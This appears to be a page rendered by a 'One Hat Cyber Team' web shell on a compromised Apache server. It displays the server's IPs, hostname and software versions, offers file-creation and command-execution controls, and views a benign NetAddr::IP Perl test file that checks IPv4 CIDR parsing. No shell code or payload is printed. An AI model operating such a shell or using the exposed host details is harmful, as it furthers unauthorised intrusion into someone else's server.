⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.177
Server IP:
50.6.168.112
Server:
Linux server-617809.webnetzimbabwe.com 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
Server Software:
Apache
PHP Version:
8.4.10
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
.cpan
/
build
/
NetAddr-IP-4.079-0
/
Lite
/
t
/
View File Name :
v4-cidr.t
use NetAddr::IP::Lite; $| = 1; my @addr = (qw( 0.0.0.0/0 1.0.0.0/1 2.0.0.0/2 10.0.0.0/8 10.0.120.0/24 161.196.66.0/25 255.255.255.255/32 )); print '1..', scalar @addr, "\n"; my $count = 1; for my $a (@addr) { my $ip = new NetAddr::IP::Lite $a; if ($ip->cidr eq $a) { print "ok ", $count ++, "\n"; } else { print "not ok ", $count ++, "\n"; print "$a -> ", $ip->cidr, " [", $ip->mask, "]\n"; } }